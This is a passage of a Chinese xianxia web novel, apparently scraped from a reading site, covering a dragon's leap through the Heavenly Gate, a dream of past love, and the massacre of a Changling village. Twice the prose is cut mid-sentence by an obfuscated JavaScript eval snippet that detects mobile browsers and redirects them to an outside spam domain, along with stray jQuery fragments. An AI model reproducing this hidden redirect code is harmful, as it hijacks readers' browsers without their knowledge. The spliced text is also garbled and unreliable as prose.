雾沅见姜芜依旧不为所动地向前走,上前扯住了她的手臂,苦口婆心地劝告道:“姜芜,这样下去你们两个人都会死的,你真的不怕死吗?姜芜,无论如何,你要惜命!” 姜芜神情坚定地说:“我不怕,我若是死了,你记得借我点妖力,让我把所有的秘密都告诉你。”说话,她便挥袖化成一道戾气向天门飞速。 寂满见状化作一条黑蛟,紧随其后。 “寂满,你不害怕吗?” 寂满托起姜芜,“你都不害怕,我怕什么?” 姜芜拍了拍身下的黑鳞,“好,这次一定会让你跃过天门,你只管全力往上飞,生下的交给我。” 寂满说:“姜芜,你说我成为真龙后可以复活小灰吗?他们不都说真龙天下无敌吗?复活一只灰鲤鱼而已,应该轻而易举吧。” 姜芜抚摸着寂满崩裂的鳞片,神情黯然,“我不知道,但是可以试试看,不试怎么知道有没有可能呢?” 寂满看着近在咫尺的天门,扬声道:“姜芜,我上喽,这次我一定会拼尽全力!” “好。”说完,姜芜一甩手中的无心乱,将长剑换作短刃,抬眸紧盯着浮在半空中的天门。 黄河之水再此翻腾了起来,乌云重新聚集,天雷在其中蓄势待发。 第一道天雷劈了下来,黑蛟周身浮现出一丝绿色的妖力,他发出了一阵怒吼声,姜芜借力踏起,飞身直冲天雷而去,在寂满震惊的目光中,用身体接下了第一道天雷。 “姜芜!你也没跟我说过你是以这种方法对抗天雷啊!” 姜芜留了些神志,在下落的过程中一把抓住了寂满腮边的鳞片,“那你就别辜负我的付出,一鼓作气跃过去。” 黑蛟吃痛地怒吼一声,“那你别扣我的眼!啊啊啊啊啊啊啊啊啊!!!区区天门!!!小爷还怕你不成?!” 姜芜抬眸看了一眼即将劈下来的第二道天雷,翻身接着黑蛟上跃的劲头再次冲了上去。 第二道天雷直接把姜芜劈成了一个血人,她伏在黑蛟的头顶上大口大口地呕着鲜血,只顾得上抬手擦了擦眼前遮挡视线的鲜血。 黑蛟的眼眶中流下了大颗大颗的眼泪,“姜芜,我不跃了,我不跃了,我们回去好不好?” 姜芜有气无力地锤了锤黑蛟的脑袋,她先是喘匀了气息,随后才轻声道:“不准放弃,都到这里了,再放弃你就是小狗。” 黑蛟大吼,“是小狗就是小狗,再这样下去,你会死的,汪汪汪!” 姜芜闻言恐吓道:“就算你现下直接下去我也会死,你不如让我死得其所,死得有价值一些。” “可是我不要这个样子啊。” 姜芜仰头看着第三道天雷,义无反顾地迎了上去。 黑蛟见状闭着眼睛,咬牙冲向了天门,它张口含住姜芜落下来的身体,一鼓作气跃过天门。 乌云消散,云销雨霁,黄河之水恢复了平静,奔流到海,一去不回。 “濯濯!” 宿凌薇眼睁睁地看着姜芜同寂满一前一后坠落于水中,她直接从峭壁上跃了下去,却看到寂满抱着昏迷不醒的姜芜游至了岸边。 雾沅见状瞬移到了三人身边,他看了一眼寂满毫发无损的身体,随后才去看浑身被血染至红色的姜芜,黄河之水都没能清洗干净那些血迹,雾沅双指凝了一些妖力,立刻俯身点入姜芜的眉心,为她注入一道妖力护住心脉。 “如何?” 寂满摇了摇头,神情失落地说:“只是褪了一层皮而已,并没有让我化成真龙。” 宿凌薇闻言立刻替姜芜疗伤,却发觉原本应该殒命于天雷之下的姜芜,破损的身体正在以肉眼可见的速度愈合。 寂满震惊地看着姜芜,片刻后他抬手擦去溢满眼眶的泪水,破涕而笑,“是因为跃过了天门,所以她才会如此吗?这样的话,即便我没有化龙成功,也算是值了,至少姜芜还活着。” 姜芜察觉到自己在做梦,梦中黄沙漫天,狂风来去毫无踪迹,树洞之外百米的距离撑起了一道雄厚的结界,让风沙难侵,姜芜靠在秋千上犯瞌睡,一条腿支在地上轻轻悠悠地晃着,神思迷离,她却不愿意在第一时间醒来。 睢羲带着一身水汽朝秋千走了过去,他俯身盯着姜芜看了片刻,伸手接住从脸上滑落下来的水珠,防止惊了她的瞌睡。 “莫要真的睡着了,当心摔下来。” 姜芜合着双眸,唇角带着笑意,“我可没有真的睡着,只是等你等得有些无聊了。” 睢羲将手中的衣裳挂到木施上,随后盘膝坐在桌前准备梳发。 姜芜起身换了个地方,仰坐在了睢羲的怀中,她抬手卷了一缕湿发,神情有些担忧地问道:“今日很棘手吗?怎么头发都没有烘干?”说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507775|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她便用戾气烘干了睢羲的头发。 睢羲摇了摇头,“无事,还算轻松,就是有些累。” 姜芜直起腰身看着睢羲,伸手顺了顺他的长发,然后伸手将他抱进了自己的怀中,轻轻地吻着他的额头,“好了,今夜换我来哄你睡觉啦。” 睢羲轻笑一声,伸手揉了揉姜芜的侧腰,“你困了?” 姜芜摇了摇头,“没有,真的只是方才等你等得有些无聊了,不是困了。” “吃饭了吗?” “还没有。” 睢羲握着姜芜的肩膀拉开两人的两人的距离,另一只手轻轻地按压着她的腹部,“现下人间时辰还不算晚,要不要去酒楼里吃些东西?” 姜芜故作被按痛了一般眨了一下眼,“啊,好痛。” 睢羲闻言蹙眉,伸手揉了揉姜芜的腹部,“抱歉,我可能没收住力。” “骗你的。”姜芜笑嘻嘻地躺倒在身下的兽皮上,她伸出手臂并对着睢羲拍了拍臂弯的位置,“躺躺?” 睢羲躺进了姜芜的怀中,并圈住了她的腰,姜芜的怀抱对于睢羲来说永远都是柔软又温暖的,像她这个人一般。 姜芜的手覆在睢羲的脸上,温柔又细腻的吻落在他的额头、眉心、鼻梁、唇角和脸颊上,“睢羲,累了便要休息,人间没有那么有趣,饭也不一定要吃。” 睢羲缓缓地道:“今日那个疯癫的修罗是百衢的母亲,我曾经见过那个女人。所以,濯濯......如果到那个时候,可能便要麻烦你了。” 姜芜无奈地一笑,眼泪却不自觉地流出没入了睢羲的墨发之中,“没事的,不用担心,你不会有那一日的。” 睢羲听着姜芜的话,只觉得胸腔之中一阵钝痛,手臂施力将她抱得更紧了一些,“那样对你太残忍了,我会去找找法子,尽量让那一天晚一些到来,或者那一天到来时,我尽量不让你为难。” “睢羲,你相信我,那一天不会到来的。” 姜芜睁开双眸,入目之处是湛蓝色的天空和白云,她缓慢地起身,发觉自己还是躺在那处距离无望谷不远处的巨石上,不禁有些诧异,“是梦吗?” 雾沅手中托着树叶走了过来,“不是梦,已经第二日了,我们重新踏过天阶走了回来,寂满说想回长灵族的村落看看奉眠。”说完,他从树叶中取出一颗红果递给了姜芜。 姜芜伸手接过并道谢,她垂眸轻轻咬了一口果子,酸甜的汁液充斥于她的唇齿间,干瘪的腹部发出一阵奇异的怪叫声。 雾沅忍俊不禁,将树叶全部放在了姜芜的怀中,“寂满与宿凌薇去捉鱼了,很快便能吃东西了,你身子还有不舒爽的地方吗?” 姜芜摇了摇头,“寂满的化龙进程如何?成功了吗?” 雾沅如实道:“没有,只是褪了一层皮,离化龙还差一些。” 姜芜蹙眉,“不该如此,莫非天门并不适合寂满这种黑蛟吗?那他有再试一次吗?” 雾沅说:“已经够了,再另寻他法吧。监督他加紧修行,比跃天门要安全一些。而且你与寂满成功越过天门后,那道弧光便消失了。” “也好,天门大抵对他无用。”姜芜见雾沅起身欲走,立刻开口,“之前你问过我想不想要最美的梦,我现下倒是想尝试一下。” “美梦吗?”雾沅蹙眉,虽然不懂姜芜想要给自己编织一个怎样的美梦,但是依旧从袖袋中摸出一个瓷瓶递了过去,“这是一瓶幻梦水,可兑水服用,一次一滴便可。但是梦这种东西,不过是水中月,镜中花,空洞的虚无,何苦要沉溺于其中?” 姜芜接过瓷瓶,面上笑容柔柔,带着一丝支离破碎的美感,“美梦美梦,正因为太过于美好所以才会沉溺于其中。” 雾沅试探地问道:“梦里是你同睢羲的过去吗?” 姜芜坦诚地应了一声,“那些过往也确实很美好,但是再怎样美好也会有结束的时候,就像美梦也有醒来的时候。” 雾沅不解地问道:“段怀野当初到底做了何事,让你们两个居然到如此地步?” 姜芜无奈地摇了摇头,手指摩擦着幻梦水的瓶子,“他不过是做了一些身为人族圣人该做的一切,没什么错处。” “譬如?” “一切事关于人族兴旺的所有。” 70. 诅咒 寂满举着两条肥硕的白鲢走了过来,他炫耀一般地抖着木枝上的鱼,“姜芜,你醒了?!看我厉害吗?我不用妖力捉了两条白鲢呢。” “厉害厉害。”姜芜抬起袖子遮住自己,神情有些嫌弃,“你莫要把水甩到我身上,这种鱼腥得很。” 宿凌薇拎着几尾白鲢走了过来,堆木柴生火,“我教了你半天,你才捉了两条,好意思来邀功吗?” 寂满不为所动,一脸高深莫测地说:“你不懂,现在的我今非昔比,若是我使用妖力的话,那整条河的鱼都要完蛋了啦!” “你这条小蛟龙,跃次天门尾巴都要翘上天啦。” 宿凌薇无奈地摇了摇头,取出随身携带的匕首,动作干净迅速地处理完鱼内脏,用刀背刮完了鱼鳞,然后架在火堆上烤了起来。 姜芜见状好奇地凑上前,坐在宿凌薇身侧,“没想到啊,你竟然还会这个?处理得还不错啊。” 宿凌薇耸了耸肩,将烤鱼翻面,在鱼腹中塞入紫苏与香叶,撒入少许的盐巴,“小意思,毕竟我曾经无聊,在并州的小渔村里跟人杀了好几个月的鱼。” 寂满看着宿凌薇,觉得有些新奇,“杀鱼好玩吗?用工具吗?用法术岂不是更简单?”说完,他用妖力操控起一条白鲢,破开肚腹,扯出内脏和鱼腮,又引了水重新清洗干净。 “你看,这不是很简单吗?” 寂满将自己处理好的白鲢给宿凌薇看,“而且还不用脏手。” 姜芜看着被扯出来的内脏和流了一地的血水,在山谷绞杀大鹏鸟的记忆瞬间涌来,血腥味像是在鼻尖炸开一般,她顿时觉得有些不适,立刻咬了几口果子缓了缓,偏移开了视线。 “小蛟龙,接住。”宿凌薇将匕首抛了过去,“你可以自己用刀试试,还是很有意思的。而且用刀和用法术是不一样的,有些人法术用的好,不一定刀便用的好。” 雾沅见姜芜脸色惨白,伸手按了按她的肩膀,神情关切地问道:“如何?哪里不舒服?” 宿凌薇立刻将手中烤好的鱼递给姜芜,“先吃着东西,缓一缓,别饿坏了。” 寂满手中握着刀,看向姜芜的眼神中充满了怜惜,“人族就是柔弱一些,不过话又说回来,你是如何把戾气用来修行的?古往今来似乎没有人引戾气入体修行,你若是把这个法子写下来也可以开山立派了。” 姜芜一边吹着烤鱼,一边小心翼翼地撕开鱼皮,挑了一块熟嫩结实的鱼肉吃进嘴里,“你们认为我是修罗便可,这个不重要,我天生便能够使用戾气修行。” 宿凌薇翻动着手中的烤鱼,“人族有句话叫做什么……非我族类,其心必异。你们真的很看重种族,天下大同,美美与共不好吗?怎么?濯濯是妖族,你们便与她交好,她若是其他种族,你们便与她为敌,事事欺辱她?” 寂满撇了撇嘴,“谁敢欺负她啊,还天下大同,美美与共呢?你还记得去并州的那个小道士吗?他说修罗十年前屠了他们全村人!” 宿凌薇闻言神情惊讶,她转头看向姜芜,“有这回事?谁干的?” 姜芜吮着手指眨了眨眼,片刻后才回忆了起来,“有,毕竟好多修罗不服百衢管束,喜战一派确实造下了很多血债。” 宿凌薇呸了一声,神情不忿地说:“他那人也就是仗着自己活得久,有何能力?脸皮真厚,居然敢称自己为修罗王,床上功夫差得很,时辰又短,还险些吐我一身。” 姜芜抿着双唇压了压嘴角的笑意,挑了一大块鱼肉递给了宿凌薇,“看来你对他意见很大啊,消消气,不至于还这么气,都这么久了。” 宿凌薇叼过姜芜指尖的鱼肉,随手将烤好的鱼递给了雾沅,随即拉着姜芜说起了小话。 寂满欲言又止地看了雾沅一眼,随即用匕首开始给鱼开膛破肚,一刀下去没有掌握好力度,锋利的匕首直接穿透了鱼腹。 寂满见状大惊,随即摆正神色,自言自语地开始同白鲢较劲。 “我天门都跃了,我居然收拾不了你一只小鱼?” “我乃真龙后代,你堂堂一江河小鱼!” 雾沅蹙眉,“堂堂江河小鱼?” 寂满看了雾沅一眼,随即手起刀落剁下了鱼头,另一个手指着毫无生气的白鲢,“呔!区区一江河小鱼!!!能奈我何?” 四人在原地修整了一番,随后便往长灵族的村落走去。 一路上寂满心情格外的舒畅与兴奋,没有再去纠结小灰的死,也没有因为化龙失败而郁郁寡欢。 宿凌薇搀扶着姜芜,越看寂满越觉得心中喜欢,忍不住偏头对姜芜说:“真是一只有趣的小蛟,我看他哭成那个样子以为怎么都要难过几日呢,没想到这么快便缓过来了,没心没肺的样子看起来真不错。” 姜芜神色讶然,她平复了一番呼吸,随即笑着对宿凌薇说:“你别这样,他们妖族估计接受不了修罗这般,妖族大多痴情执拗,你若是真喜欢,可千万不要让他伤心。” 宿凌薇闻言幽幽地叹了一息,心中不免有些遗憾,“放心好了,我听你的,心里有数,况且他还是个孩子不是吗?真是想象不出,你为何能同睢羲如此长久,真不会觉得腻?不过应该也腻了吧,否则也不会有段怀野了,不过昨日那个小道士也不错,长得一表人才的。” 姜芜笑而不语,她觉得这件事已经没有必要再一次又一次的解释下去,也不用编织一个又一个的谎言给所有人制造一种假象,完全可以放在她的心底,经年累月,外界的一切与此相比都毫无意义。 寂满忽得收敛了脸上的笑容,他翻过一个小山坡,看着原本炊烟袅袅的村落现下却一片死寂,飞快地跑了下去。 “眠眠!” 整个长灵族村落到处一片狼藉,一天一夜之间被人屠戮殆尽,房屋倾倒破损,尸横遍野,上至头发斑白的老人,下至不足满月的婴孩,无一人幸免。 “到底发生何事了?”寂满难以置信地看着面前的一切,“前日......前日还好好的,为何今日变成了这番模样?” 雾沅神情凝重地掐了几只灵蝶放了出去,灵蝶围绕着村落转了一周后飞回了他的掌心,他将灵蝶融进体内,立刻便看到了昨日夜间长灵族自相残杀的惨状,也看到了从应遍布血污的脸。 “是从应!” 姜芜眉心拢起,“长灵族六大部落与世隔绝,鲜少有人知晓他们具体的隐世位置,怎么会有鬼族人寻到了这里,莫非是宗华?” 寂满神情焦急地在一片断壁狼藉中寻找着,呼唤着,“眠眠!” 姜芜后知后觉地想起了萧无祸,恍然大悟地道:“原来如此,从应和萧无祸合作根本不是因为天书,亦或者是鬼王想要荆州城,是因为他们有大差不差的遭遇,怪不得我们在荆州时鬼王一直没有现身,原来他从头到尾都不知晓从应的所作所为。” 宿凌薇不解地问道:“长灵族又不是什么低灵种族,为何能在一夜之间便被人灭族?” “你们快来看!” 三人闻言快步朝着寂满走了过去,只见一方小院中,常胜的尸体手持权杖伫立在原地,头颅被割下随意的扔在一旁,权杖上的一簇黄铜铃铛随风发出清脆的响声,尚未干枯的鲜血正缓缓得从上面滴落。 姜芜上前查看了一番常胜的头颅,察觉到了他双眸上的异常,顿时对昨日的战局了然,“怕是先弄瞎了他们的眼睛,随后又利用鬼族人附身的特性,让他们自相残杀,所以才造成了一夜之间灭村的惨状。长灵族人没有了双眸,便看不透鬼族人的附身,而且周身都是一同生活的兄弟姐妹,谁都没有设防。” 寂满声嘶力竭地呼喊道:“眠眠啊!你在哪?!快出来好不好?不要吓我。” 宿凌薇面色忧愁地问道:“长灵族的那个姑娘岂非凶多吉少?” 姜芜将一丝戾气弹出去寻找常奉眠的下落,却见那道黑红色的戾气飞入了房屋中,击向了一扇等人高的紧闭橱门。 橱门在一瞬间被击碎,常奉眠从其中跌落了出来,浑身伤痕累累,合住的双眸上一片血肉模糊。 寂满见状立刻冲上去将常奉眠抱了起来,先是试探了一番她的鼻息,随后又将一道妖力注入了她的心口,见她面色逐渐红润,失而复得地笑了起来,“太好了,眠眠,你还活着。” 宿凌薇不解地看着寂满,“不过才见过一面,为何会露出那般表情?像是认识了许久。” 寂满抬眸恳切地看向姜芜,开口期盼地问道:“姜芜,你帮她看看眼睛好吗?” 姜芜上前拍了拍寂满的肩膀,温声道:“别急,一切等眠眠醒来再说。” 【并州】 商扶庭和沈确根据信中所指来到了并州的一处小村落中,收剑落地便看到了梅华道尊,随即便发觉这是长灵族避世的村庄。 沈确面前闪过一丝讶然,“掌教真人居然也下山了。” 商扶庭面色凝重地点了点头,“看来此事非同小可,宗华,我们要去拜师门,你在附近稍等。” 宗华点了点头,“好,我就在附近,你们有事喊我便可。” 沈确对宗华说:“别担心,我们去去便回。” 商扶庭同沈确一起走到梅华道尊面前,持剑施礼,“掌教真人。” 梅华道尊同人交谈完后才转身去看二人,当她的视线扫过商扶庭时,面上露出了微微的惊讶,“你们二人此行看来是收货颇多。” 沈确笑得有些腼腆,“还是师兄努力上进,我没什么收获了。” 梅华道尊拍了拍沈确的肩膀,“不是只有修为上有长进才叫收获,我观你二人神情与从前在山上时大不相同,想必受了不少委屈吧,与人打交道便是如此。”< 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商扶庭迈步的动作一顿,脸上的雀跃也收回了几分,“此事说来话长,因为太初道尊以天书赐福荆州萧氏的缘故,致使他们近亲通婚,引发萧氏后人不满,以至于其勾结鬼族人欲毁灭萧家,鬼族人见计谋败露后便劫持阿确,想以此换我手中的天书。” 梅华道尊蹙眉,心中却翻起了滔天巨浪,“天书?四卷天书,你现下手中有几卷?” 商扶庭如实道:“一卷,姜芜说我手中这卷天书是从越师兄手中得来的。” 梅华道尊神情疑惑地看着商扶庭,“柯儿?他手中为何会有天书?” 商扶庭抿唇,从纳戒中取出斩魄剑递给梅华道尊,“师兄百年前被人伤了心脉,一直于长衡山上闭关修行,在所有人都不知晓的情况下,元神出窍盗走了天书,天都城投毒一事便与越师兄有关。掌教真人,越师兄死前让我有句话带给您。” 梅华道尊大惊,“柯儿死了?” 商扶庭颔首半跪了下来,将斩魄剑举过头顶,“我这一身修为便是越师兄所赠,越师兄说‘弟子不肖,有负师尊所托,盗走天书,犯下罪大恶极之事,不求师尊原谅,愿以死赎罪’,掌教真人,节哀。” 梅华道尊神情大恸,她看着商扶庭手中的斩魄剑后退半步,“柯儿是被谁所杀?” 商扶庭面色闪过一丝纠结,心中在左右博弈是否同梅华道尊托出事情,挣扎一番后终究自暴自弃地托出了真相,“姜芜。” 梅华道尊闻言嗤笑了一声,随即无奈地摇了摇头,回想起段怀野死的那一日,如今唯一的徒弟越迦柯也死在了姜芜的手上,新仇旧恨来回撕扯着她的理智。 商扶庭抬眸看了梅华道尊一眼,开口试探地说道:“掌教真人,我也杀了睢羲替师兄报仇雪恨。” 梅华道尊稳住心神,凝眸看向商扶庭,“扶庭,你方才说你杀了睢羲?” 商扶庭颔首,“是,多亏了越师兄的帮忙,若是没有师兄,恐怕弟子也没命来见掌教。” 梅华道尊伸手将商扶庭扶了起来,“好孩子,这一路上也是辛苦你了,斩魄剑拿着用吧,你师兄私自盗取天书,霍乱天都城,也是他有错在先,你不必挂怀。” 商扶庭看着梅华道尊泛红的双眸,思忖了片刻出声安慰道:“掌教,您也别过于忧伤,要保重身体,师兄也是走投无路,若不是因为旧患,他也不会行至绝路,请您节哀。” 梅华道尊缓缓地吐出一口浊气,片刻后她整理了一番外泄的情绪,又变回了矜贵自持的五行道宗掌教真人,“扶庭,姜芜手中可有天书?” 商扶庭颔首,“有,她手中的天书是从荆州萧家得来的,睢羲手中也有一卷天书,是从扬州万毒门处得来,只是现下睢羲已死,他手中的那卷天书下落不明。” 梅华道尊说:“天书一事暂且先放一旁,扶庭,你这一路上可遇到过长灵一族?” “有,方才我便看到掌教同一长灵族人讲话,神情凝重,不知是发生何事了?”商扶庭说,“只不过我们所遇见的长灵一族,似乎并没有任何的异常之处,族长同其女儿还热情得招待了我们。” 梅华道尊追问,“族长可是名为常胜?村落在冀州与并州的交界处?” 商扶庭心中一紧,“正是,敢问梅华道尊,他们发生了何事?” 梅华道尊闻言无奈地叹了一息,“扶庭莫着急,那件村子发生了一件怪事,一夜之间像是被恶毒的诅咒袭击,无人生还。” 商扶庭呼吸一窒,难以置信地看着梅华道尊,突然想起常胜经常挂在嘴边的一句话,说是混种会给长灵族招致灾祸,莫非是他们将宗华带至长灵族,所以才导致了常胜及其族人的悲剧? 商扶庭想到此处,心底像是破了个窟窿,呼呼地往其中灌着初春的冷风,手脚不自觉地开始冰凉,他突然莫名其妙地感到恐惧。 “其余四族的长老已经赶来此处,预备商量对策了。”梅华道尊的目光越过商扶庭看向了站在不远处的宗华,“那是谁?” 71. 小花 商扶庭闻言看向梅华道尊,顺着后者的目光看到了正在不远处走神的宗华,他心中百感交集,即便是太初道尊的预言成真,这也不应该是宗华的错,是他的父母不顾一切地结合生下了他们,虽说有情人走过万难终成眷属不能说错,但常胜一族覆灭却与此有关。 “他身上的气息很复杂,一时看不出来因,扶庭,那是你新结交的朋友吗?” 商扶庭随意地应了一声,避免梅华道尊深究宗华来历,立刻将话题转移到了长灵族的变故上,“敢问掌教,常胜的村落具体是发生了何种变故?为何如此严重?” 梅华道尊说:“据说是一夜之前所有的族人全部瞎了眼睛,突发疯病,自相残杀,场面极度残忍。自长灵族诞生以来,此事确实罕见,闻所未闻。” 商扶庭大惊,他虽然不想将此事归结于宗华,但若是此处的长灵族人因为宗华的到来而变得像常胜部落一样,那么他无论如何也是承担不起这种后果的,他心不在焉地应了一声,同时无比希望姜芜现下能在身侧,凭借她的聪明才智定能很快将此事查个水落石出,让此地的长灵族人免受预言之苦。 梅华道尊见商扶庭心情不佳,以为是一路舟车劳顿,现下已经撑到了极点,毕竟他还只是一个未及冠的孩子,便挥手让他先下去休息。 商扶庭抬手施弟子礼告退,招呼着宗华往一旁的小木屋走去。 宗华见状问道:“商道长,你怎么了?脸色为何如此苍白?” 商扶庭摇了摇头,“没事,我只是有些太累了,休息片刻便好,你不要多想。”说完,他便不动声色地掐了一道灵讯给姜芜,希望她万般小心。 沈确欢欢喜喜地挽着清逸道尊的手臂,“师尊师尊,我终于见到您了,您不知晓这段时日我可想您了,您看看我长高没有?掌教真人说我同商师兄变化很大。” 清逸道尊闻言,认真地打量起沈确,随即笑着摸了摸她的发顶,温声笑着说:“长大了,长成大姑娘了。” 沈确闻言神情一愣,随即鼻子一酸,眼泪簌簌而下,“师尊,你不知晓我这一路上都遭遇了何事,我跟着商师兄天南海北地闯着,遇到了很多人很多事,也听过了非常离奇的故事,也看到了很多人的离去,还被鬼族人捉去,险些便见不到师尊了。” 清逸道尊见状拍了拍沈确的肩膀,“现下平安无事便好,阿确呀,人生便是这样的,你总要学会跟很多人很多事告别。” 沈确擦干了眼泪,神情委屈地说:“可是我还是觉得跟师尊在师门的日子好过。” 清逸道尊闻言忍俊不禁,他看着沈确试探地问道:“即便不能体会山河的波澜壮阔,亦或者不能结交三两知心好友,也愿意在师门过着枯燥无味的日子?” 沈确低头绞着手指,轻声说:“如果下山的日子都是开心的……也不是不可以……” 清逸道尊无奈地看着沈确,“真是小孩子脾性,傻徒儿,日子哪里都是如意的,是不是?” 沈确想起隋垂枝,一股热意涌上眼眶,“可是......可是......怎么能有人苦了一辈子而不甜呢?” “只看到别人的苦,你怎么知晓别人不甜呢?”清逸道尊从桌上拿起了一颗色泽难看的果子,轻轻地咬了一口,“徒儿,你说这果子好吃吗?” 沈确看着清逸道尊手中那颗难看的果子,脸色不禁皱了起来,似乎涌上来了一股酸牙的感觉,“这颗果子看起来又酸又苦,肯定难吃得紧。” 清逸道尊大笑了起来,重新拿了一颗果子递到了沈确手中,“乖徒儿,你来尝尝?” 沈确看着手中丑陋难看的果子,有些嫌弃地看向清逸道尊,“师尊,你知晓的,我是从来不吃酸果子的。” 清逸道尊说:“师尊何时骗你吃过酸果子?” 宗华同商扶庭进门,恰巧听到这么一句话,难免不放在心上。 赤铄道尊恰巧从楼上走下,抬眸便看到走进来的商扶庭,不苟言笑的脸上多了几分柔和,“扶庭啊,你回来了。” 商扶庭颔首,持剑施礼,“师尊,弟子回来了。” 赤铄道尊上前拍了拍商扶庭的肩膀,“你的来信掌教师姐都给我看了,这一路上辛苦你了。” “不辛苦,我这一路上也见识到了很多事情。”商扶庭摇了摇头,“方才匆忙,忘记了问掌教真人,不知现下并州情况如何?” 赤铄道尊闻言同清逸道尊对视一眼,两人一致摇了摇头。 沈确问道:“怎么?情况很严重吗?” 清逸道尊愁眉不展,“不是很严重,是非常的严重,此处是距离无幻之境最近的一处长灵部落,现下敌人在暗,我们在明,我们的每一步行动都被能他们提前预知并看在眼中,却不能够主动出击,就像是有人在给他们通风报信一般,而我们只能等着那群羽人来袭,被动防御。” 赤铄道尊重重地叹了口气,“现下又有修罗插手此事,我看这并州已经乱成一锅粥了,再让那个什么鬼族人来掺和一下,让这边的百姓都迁走得好,让他们去争去打去吧。” 商扶庭开口道:“姜芜曾说过并州大妖有三个,知往观来的狌狌与玃如,还有能够控制时辰的烛九阴,所以并非是奸细作祟,是我们的一举一动都在他们的掌控之中。” 清逸道尊大惊,“狌狌与玃如?怪不得如此棘手。” 赤铄道尊面色凝重地看着商扶庭,“姜芜?那个女修罗?她的话可信吗?” 商扶庭神情焦急地辩解道:“师尊,这一路走来,我发觉姜芜本意并不坏,她是真心实意想帮我们的,没有理由骗我们。” 赤铄道尊眉心紧拢,“可她终究是修罗不是吗?况且并州这边又有修罗王百衢的手笔,我们要如何信任她?万一她告诉我们假消息,同百衢里应外合呢?” 沈确看了商扶庭一眼,随即对清逸道尊说:“师尊,姜芜是可信的,你们也不要对她太有偏见。毕竟她都帮我们寻找圣物了,而且长灵族的族人曾说过,姜芜是人族并非修罗族。” “她是人族?”清逸道尊抬眸狐疑地看向赤铄道尊,“按理来说,长灵族的双眸是不会看错的,但这......也过于蹊跷。” 商扶庭殷切地说:“若姜芜是人族,她的所作所为便能够解释得通了,不是吗?” 赤铄道尊面色凝重地点了点头,“话虽这么说,但是总觉得有些不妥之处。罢了,她既然没有异心,暂且信她也可,一切都等师姐定夺。” 【常胜部落】 姜芜将一束采来的小黄花放在了常胜的墓前,她静静地伫立在原地,忍不住回忆起同常胜的初识,看他称为族长、成亲,再到常奉眠的出生。 一道灵讯从天边极速飞来,悬停在姜芜面前。 姜芜看着面前的灵讯,片刻后才抬手读取,扫过商扶庭传来的灵讯内容,并立刻给他回复,“此地长灵族一事同诅咒并无干系,而是鬼族人所谓,望君安心,并警惕鬼族人。” 雾沅束了袖子,从常胜的小屋后走了出来,他手中拿着帕子擦汗,看着那道灵讯,随口问道:“是商道长的灵讯吗?” “他们已经平安到达了并州那边了,似乎也听到了常胜这边的事情,所以传来灵讯问平安。”姜芜说,“眠眠醒了吗?” 雾沅摇了摇头,“还没有,宿姑娘方才已经去看过了,还在睡着。” 姜芜看着四周的土堆,“为了让这里的长灵族人入土为安,真是辛苦你们了。” 一阵巨响打断了两个人的谈话,姜芜看了雾沅一眼,两人迅速向房间内走去。 常奉眠醒了过来,她手中拿着一截木棍四下挥舞着,惊魂未定地说:“你们是谁?走开!爹爹,我爹爹呢?爹爹,我看不见了,我看不见了。” 寂满闻声也冲了进来但不敢贸然上前,怕自己的行径会对常奉眠再次造成伤害,只能一直安抚道:“眠眠,是我啊,我是寂满,你现在安全了,别怕。” 宿凌薇指尖凝了戾气,准备再次将常奉眠打晕。 姜芜看着半趴在地上的常奉眠,上前将寂满往后扯了几分,她矮身轻轻地握住木棍的另一端,温声安抚道:“眠眠,我是濯漪,现下已经无事了,让我帮你看看眼睛,好吗?” “濯漪?”常奉眠稍稍冷静了几分,她伸出手胡乱摸索着,“你是濯漪?你真的是濯漪吗?” 姜芜将手中的木棍取出,然后握住了常奉眠的手,“没事了,我在这里呢。” 常奉眠握到姜芜的手,立刻痛哭了起来,“濯漪,他们疯了,他们全都疯了,他们居然对自己家人下手,连刚出生的孩子都不放过。” 姜芜伸手将常奉眠拢进了怀中,“都过去了,眠眠,跟我说说你的眼睛是怎么回事?” 常奉眠缩在姜芜的怀中,闻言顿了一下,她伸手摸向了自己的双眸,“眼睛?我的眼睛?突然便看不到了,好多人的眼睛都是如此。爹爹为了保护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519059|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,将我封在了柜子里。对了,濯漪,我爹爹呢?” 姜芜不语,只是将那串黄铜铃铛放进了常奉眠的手心中。 常奉眠摸索着手中的物什,片刻后才发觉是常胜挂在木杖上的法器,她忍不住呜咽一声,随即立刻止住哭声,试探地问道:“还有阿尚哥,小满子,小虎还有芬芬姐,他们......他们都不在了吗?还有谁?还有谁活着?” 姜芜拍了拍常奉眠的后背,“眠眠乖,整个村落只剩你自己了。” 寂满觉得这样有些残忍,出声制止道:“喂,姜芜,这样说也太直白了吧,不妥吧。” 常奉眠沉默着,连啜泣声都消停了下去,片刻后她摸索着抓起了姜芜的手,神情激动地说:“濯漪,你帮我,这里面肯定有隐情,你帮我查明真相,我要替全村的人报仇!作为交换,我可以把这串铃铛法器给你,六串铃铛能够组成一个对修罗强力压制的法阵,少了一串便不成气候了。” 雾沅看着常奉眠想起在灵蝶中看到的从应的脸,结合姜芜所说之事,怕又是一场无疾而终的恩怨情仇,就像萧家的事情一般,说不清谁对谁错,谁都有错,但谁都没错。 